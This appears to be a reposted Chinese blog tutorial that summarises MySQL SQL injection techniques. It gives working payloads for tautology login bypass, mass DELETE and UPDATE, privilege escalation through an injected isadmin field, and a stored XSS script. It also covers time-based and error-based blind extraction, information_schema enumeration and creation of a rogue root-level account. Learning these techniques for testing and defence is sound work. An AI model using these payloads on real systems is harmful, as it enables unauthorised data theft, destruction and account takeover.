Mysql注入基础总结

Mysql注入基础

INSERT逻辑

4种(values, set, select, 空)

insert into users(uid,username,password) values(10015,‘peiqi’,‘123456’)

insert into users values(10016,‘peiqi’,‘123456’)

insert into users(uid,uname) select 10017,‘peiqi’

insert into users set uid=10018,uname=‘peiqi’

INSERT报错逻辑

INSERT INTO users VALUES(‘1’,‘hxf’,‘hxf123’,‘hxftest’)

对于明知道字段的类型而故意写成其他类型,若后台对于错误信息处理不当,就有可能泄露信息。

show warnings; 查看报错

INSERT留后门逻辑

insert into users(uid,uname,blog) select 10021,‘michae121’,’<script>alert()</script>’,‘hxf132’

1、攻击者可能会注入病毒脚本,当打开网页时,如果处理程序没有屏蔽浏览器对脚本的解析,那么就会跳出很多广告窗口。

2、攻击者可以注入数据库连接和通信的脚本,以便在适当的时候,select into outfile到web可访问的目录下,目标是通过http连接就可以直接访问数据库。

DELETE注入逻辑

create table users2 as select * from users; 创建表users2,并将表users拷贝进去

DELETE FROM users2 where uname='peiqi'; 删除指定数据

DELETE FROM users2; 删除users2表中所有内容。

DELETE关联删除

delete a,b from emp a, dept b where a.dept_no=b.dept_no and a.dept_no='d006';

//其中a,b分别为emp和dept的别名。删除emp表和dept表中dept_no字段都为d006的行。

注入删除

DELETE FROM users where uname=‘hxf’

DELETE FROM users where uname=’' or '1'='1’ //后果很严重,直接删除users表中所有数据

UPDATE语句逻辑

update users2 set gold=10000 where uid=10011;

update users2 set gold=10000; 不输入条件则更新所有的值

UPDATE注入全集的更新逻辑

payload:'or '1'='1

update users2 set gold=20000 where uname=’' or '1'='1’ 全集更新

UPDATE提权

payload:', isadmin='1

update users2 set email=’',isadmin='1’ where uname=‘hxf’

SELECT基础

select username,password,uid from users where uid=10022 or uid=10003

order by排序

select * from users order by uname; //按照uname字段内容a-z正向排序

select * from users order by uname desc; //倒向排序

order by 1; //按照第一个字段正向排序

order by 2 desc; //按照第二个字段倒向排序

limit限制

limit 10 取前十行

limit 0,1 从第0个开始取一个

in语句

select * from users where uid in(select uid from users2)

括号里的查询语句结果作为uid的值

exists 判断存在,返回真假

select * from users where exists(select uid from users2)

//若空号中有返回值,则exists返回真,则返回users表中的所有信息

select * from users a where exists(select uid from users2 b where a.uid=b.uid);

//实现in的功效,返回users表中a.uid=b.uid的数据,这就是关联查询

inner join内连接查询

select a.uname,b.mobile from game_user a inner join game_user_ext b on a.uid=b.uid;

//inner join时内连接,相当于将game_user表和game_user_ext表连接起来,连接的条件时a.uid=b.uid

left join左连接

select a.uname,b.mobile from game_user a left join game_user b on a.uid=b.uid;

//左连接会返回左表中的所有值,和右表中a.uid=b.uid的值

//right join右连接逻辑刚好相反

SELECT注入逻辑

  • 注入字符的报错

    ’ 为了测试数据库对单引号的处理是怎样的,有没有处理好报错信息。

  • 猜测处理的字段数

    order by 二分法

    若网页报错或处理不正常,说明可以注入

  • 空集逻辑

    uname=’’ or ‘0’=‘9’ //查询uname为空,或0=9,显然返回为空

    //网页不报错,但显示页面没有内容。

  • 全集逻辑

    uname=’’ or ‘1’=‘1’ //恒为真,可能遍历数据库内容

  • union 先去重再合并

    select * from users union select * from users2;

    //查询users表和users2表中的所有值,并去重后返回

    • 可以自己构造

      select uid,uname from users union select 1,‘balabala’;

      返回查询结果和1,‘balabala’

  • union all 简单合并

    select * from users union all select * from users2;

    //查询users表和users2表中的所有值,不去重返回

  • 报错逻辑

    union两端字段数不一致时报错

    select * from users union select ‘1,2,3…’ 一一测试

  • 替换逻辑(第三者上位)

    uid=“10003 and 1=2 union select 1,2,3,4,5,6,7,8”

    //根据回显数字,做下一步判断


DCL语言与提权逻辑

DCL(数据控制语言)重要是管理员管理权限使用的。

  • 查询mysql用户

    select host,user,password from mysql.user;

  • 创建用户

    create user ‘xqw’@‘localhost’ identified by ‘abc’;

  • 删除用户

    drop user ‘xqw’@‘localhost’;

  • 授权管理员

    grant all privileges on *.* to admin@'%' identified by 'abc';

    *.*代表任意数据库下的任意表或对象

    @代表登录

    %代表从任何地方登录

    identified by ‘abc’ 设置密码为abc

  • 授权指定范围权限的用户

    grant select,insert on *.* to admin2@'%' identified 'abc'

    授权一个在任意数据库下的任意表或对象中仅有select和insert权限的用户admin2

    可以在任意地方登录

  • 提权admin2

    grant select,insert on *.* to admin2@'%' identified 'abc'

  • flush privileges; 刷新权限

  • 登录数据库

    mysql -h 192.168.1.120 -uadmin -pabc

数值类型与注入逻辑

  • 数值类型分类

    整数类型:tinyint, smallint, mediumint, int, bigint

    浮点数类型:float, double, decimal

  • 数值越界报错与注入应用

    故意输入越界的数值,使报错曝出字段名。

  • 类型转换报错

    例如:给原本是整型的字段故意传入字符型值,使报错爆出字段名。

  • 全集与空集逻辑

    全集

    or 1=1

    or–+1=–!!2 //–+负负正则为正,–为正!!非非为正

    //所以–+1为,–!!2为1

    //用–+!!替代空格,规避后端对空格的检查

    //注意:or与–之间没有空格

    uname=’’=’’ //恒为真,注意是单引号

    空集逻辑

    or 1=2

    and 1=2

    and !–+2=–!!2 //!–+2为0,–!!2为1

时间日期注入逻辑

  • 时间日期类型

    包括date, datetime, timestamp, time, year

    //datetime日期时间型

    //timestamp时间戳

    create table testd(reg date, reg2 time,reg3 datetime,reg4 timestamp default current_timestamp on update current_timestamp, reg5 year);

    //datetime保存8个字节

    //timestamp保存4个字节

    //year只保存年份

    //date只保存日期

    //time只保存时间

    insert into testd values(now(),now(),now(),now(),now());

  • 注入逻辑

    • 数值越界报错

      故意输入一个大整数,导致报错而获取字段名

    • 数值类型转换报错

      例如:本来是时间型,故意输入一个字符型引发报错,使得爆出字段名。

字符类型与注入逻辑

  • 字符类型

    char, varchar, binary, varbinary, blob, text, enum, set

    //char固定长度的明文字符串

    //varchar可变长度的明文字符串

    //binary固定长度的二进制字符串

    //varbinary可变长度的二进制字符串

    //blob大量二进制字符串

    //text大量明文字符串

    //enum枚举类型

    //set集合类型

    create table testc(un char(3), un2 varchar(3), un3 binary(3), un4 varbinary(3));

    insert into testc values(‘xqw’,‘xqw’,‘xqw’,‘xqw’)

  • 注入逻辑

    • 字符类型越界报错

      输入一个超长字符串,引发报错,从而从报错的信息中获取字段名,进而推测字段名含义和表的功能。

    • 类型转换错误

      select * from users where !!user_id=‘admin’;

      //将uname转换为整数,造成报错

    • Text和blob类型留后门

    • enum枚举类型和set集合类型

      enum枚举类型 能且仅能选择一个

      set集合类型 可选一个或多个

      create table testd(uname1 enum(‘a’,‘b’,‘c’),uname2 set(‘a’,‘b’,‘c’));

      insert into testd values(‘a’,‘a,b’)

      select * from testd where find_in_set(‘a’,uname2) //查找uname2字段中含有a的记录

    • find_in_set()注入逻辑

      select * from users where uname=‘admin’ and find_in_set(left(user(),1),‘s,t,u,r’)=1

      //猜解用户名第一个字符是否为s, 若回显正常则为s,若不正常则不是s,需进一步测试

关系运算符与注入逻辑

select * from users where uid>=1007 and uid<=1009; //返回1007到1009的记录

select * from users where uid between 1004 and 1007; //返回1004到1007的记录

select * from users where uid in(1002,1003,1009); //返回指定三条记录 //相反 not in

select * from users where isadmin is null; //查找isadmin等于null值的记录 //相反is not null 判断是否为非空

模糊查询:

select * from users where uname like ‘a%’; //查找以a开头的记录 //%为通配符

select * from users where uname like ‘%a%’; //查找uname中有a的记录

  • 盲注应用(划定范围)

    and length(user())>10 and length(user())<20

    根据网页回显正常与否,划定范围,最终确定具体值,也可用于猜解数据库名等

    注入传参:uname=admin’ and uname>‘a’ and uname<'d

    结果:select * from users where name=‘admin’ and uname>‘a’ and uname<‘d’;

逻辑运算符与注入逻辑

select * from users where uid=10003 and uname=‘admin’;

&&

1 and 1 //为真

1 and 0 //为假

select * from users where uid=10003 or uname=‘saniya’; //满足任意一个条件即返回

||

1 or 1 //为真

1 or 0 //为真

0 or 0 //为假

1为真 !1为假

异或 xor

1 xor 1 //为0

1 xor 0 //为1

  • 复杂逻辑与注入逻辑关系

    不变逻辑:

    select * from users where uid=10003 and uname=‘admin’ and 1=1;

    select * from users where uid=10002 and uname=‘admin’ or 1=2;

    select * from users where uname=‘admin’&&!!!1;

    空集逻辑:

    select * from users where uid=10002 and uname=‘admin’ and 1=2;

    select * from users where uid=10002 and uname=‘admin’ and 0=true;

    select * from users where uname=‘admin’&&!1;

    全集逻辑:

    select * from users where uid=10003 and uname=‘admin’ or 1=1;

    select * from users where uname=‘admin’ or !!1;

    select * from users where uname=‘admin’ or !!1=~~1; //~为按位取反(将补码按位取反),~~则还原本身

  • 全集逻辑绕过密码验证

    正常逻辑:select * from users where uname=‘admin’ and password=‘123456’;

    绕过:select * from users uname=’’ or ‘1’=‘1’ – and password=’$password’; //username字段注释绕过

    select * from users where uname=‘admin’ and password=’’=’’; //password字段绕过

    select * from users where uname=‘admin’ and ‘0’=‘0’; //username字段绕过

字典元数据与注入应用

  • 创建一个超级管理员

    //第一步创建一个普通用户

    insert into user(host,user,password) values(’%’,‘admin3’,password(‘abc’));

    //先拷贝一条超级管理员账户数据到一张临时表中

    create table tmp select * from mysql.user where user=‘root’ limit 1;

    //更新表中的host,user,password字段

    update tmp set host=’%’,user=‘admin4’,password=password(‘abc’);

    //将记录插入到user表中

    insert into mysql.user select * from tmp;

    flush privileges; //刷新权限

  • mysql数据库

    user表 //保存了主机,用户名,密码等重要信息。

    db表 //保存了对数据库级别的权限信息。

    columns_priv表 //保存了字段的详细权限分配信息、

  • 字典应用

    • 获取当前实例所有数据库名

      select distinct table_schema from information_schema.tables;

      select schema_name from information_schema.schemata;

    • information_schema数据库

      schemata表:保存了数据库相关的定义信息

      tables表:保存了表定义属性的所有元数据信息

      columns表:保存了所有数据库下的所有字段的信息

      routines:存储过程或者函数信息

      views:试图信息

      triggers:触发器信息

    • 获取表名和字段名

      select database(); //查看当前数据库名

      select table_name from information_schema.tables where table_schema=database(); //获取当前数据库的所有表

      select column_name from information_schema.columns where table_schema=database() and table_name=‘users’; //获取当前数据库下users表中所有字段名

探子回报与密码猜测相关函数

user()

current_user()

session_user() //用户名

version() //数据库版本号

database() //数据库名

length() //返回长度

length(database())>2 //猜解长度

left(database(),1)>‘h’ //左边第一个字符

substring(database(),1,1)>‘h’ //逐一猜解数据库字符

position(’@’ in user()) //返回@在用户名中的位置

locate(’@’,user()) //功能同上

  • 探子回报

    user(),version()

    探子:测试程序是否同时对函数、子查询、括号等是否过滤。

    两个都是SQL99标准中的通用的函数,不同的数据库返回值各有特征,进而推断是什么数据库类型。

    如user()函数的返回情况:

    mysql返回root@localhost

    oracle返回sys

    sqlserver返回sa

    若成功执行,即探子回报。说明程序对函数,括号()和子查询并未作过滤,可能可以执行函数、子查询等复杂逻辑。

    探子没有回报,基本上说明注入攻击困难或者注入可能性很小。

时间窃取相关函数

select sleep(5) //休眠函数,以秒为单位

select benchmark(100000,md5(‘qianxun’)) //压力测试

//计算100000次字符串’qianxun’的md5值,根据执行时间判断mysql数据库的性能

select if(5>2,‘a’,‘b’) //第一个参数为真,则返回第二个参数值,否则返回第三个参数

  • 盲注应用

    select * from users where uname=‘admin’ and if(left(version(),1)>3,sleep(5),1)

    //如果数据库版本号第一个数字大于3则休眠5秒,否则返回1

    //通过页面返回的时间,判断猜解结果

    select * from users where uname=‘admin’ and if(ascii(substr(user(),1,1)>97),sleep(),1)

    //对于字符串的猜解要先转换为ascii码

    select * from user where if(left(version(),1)=5,sleep(1),1);

    //若版本号第一个数字等于5,则返回1*5秒 乘数取决于表中数据的条数

    select * from users where uname=‘admin’ and if(substr(uname,1,1)=‘b’, benchmark(1000000,md5(‘suibianxie’)), 1)

    //使用benchmark()函数穷举,道理与sleep()一样

自报家底函数

自报家底:没有错误也要制造错误,并把查询的信息让错误带出来告诉注入者到底有什么东西,把所有家底能透露的都透露出来。

select * from users where if(uid>10005,1,0) //返回uid>10005的数据

select rand() //返回0~1之间的小数

select rand()*2 //返回0~2之间的小数

select round(rand()*2) //返回rand()*2四舍五入取整后的值

select floor(rand()*2) //返回rand()*2地板取整后的值

select concat(‘abc’,‘def’) //将abc与def拼接起来

select concat(user_id,first_name) from users2 //将字段user_id和first_name的返回值拼接起来

select user_id,group_concat(first_name) from users2;

//返回user_id字段的第一个值,将first_name字段的所有值全部显示出来(用,隔开)

//group_concat()中有多个参数时,会先将多个参数的值拼接起来,然后把每次遍历的结果都显示出来(用,隔开)

//concat()会把多个参数值拼接起来,然后每次遍历的结果逐次显示

select user_id,first_name from users2 group by user_id; //group by谁 谁就只出现一次

select user_id,group_concat(first_name) from users2 group by user_id;

//将另一个字段使用group_concat(),就会把user_id相同的first_name的值拼接在一起(用,隔开)

  • 主键冲突报错

    select count(*),concat(user(),floor(rand()*2)) as a from users group by a;

    //group by a是对concat(user(),floor(rand()*2))的结果进行分组,也就是说concat(user(),floor(rand()*2))的每一种结果只能出现一次,换句话说该结果是一个主键

    //而concat(user(),floor(rand()*2))的结果只有两种,root@localhost1和root@localhost0

    //因为有随机函数rand()的存在,在执行时rand()会被计算一次,若临时表中没有该值,那么就会插入到临时表中,插入时又会被计算一次(group by会重新计算一次a),当临时表中分组完毕后,也就是主键设置完毕后,后面插入的值与主键冲突从而产生报错。

    //随机数因子越大,产生的可能性就越多,产生主键冲突的概率就越小,所以为了尽可能大的概率使主键冲突产生报错,随机数因子就要最小,最小为2(两种随机的结果0,1),所以选rand()*2。

    • 暴露系统敏感信息

      select count(*),concat(version(),floor(rand()*2),user()) as a from users group by a;

      //报错显示出数据库版本、用户

    • 暴露数据库名

      select count(*),concat((select (select (select schema_name from information_schema.schemata limit 0,1)) as a_col from information_schema.tables limit 0,1), floor(rand(0)*2)) x_col from information_schema.tables group by x_col

      //爆出第一个数据库名,可通过改limit参数来获得后面的数据库名

    • 暴露所有表名

      select count(*),concat((select (select (select table_name from information_schema.tables where table_schema=database() limit 0,1)) as a from information_schema.tables limit 0,1), floor(rand(0)*2)) b from information_schema.tables group by b

      //爆出第一个表名,可通过更改limit参数来获得后面的数据库名

猜你喜欢

转载自blog.csdn.net/qq_43665434/article/details/114629641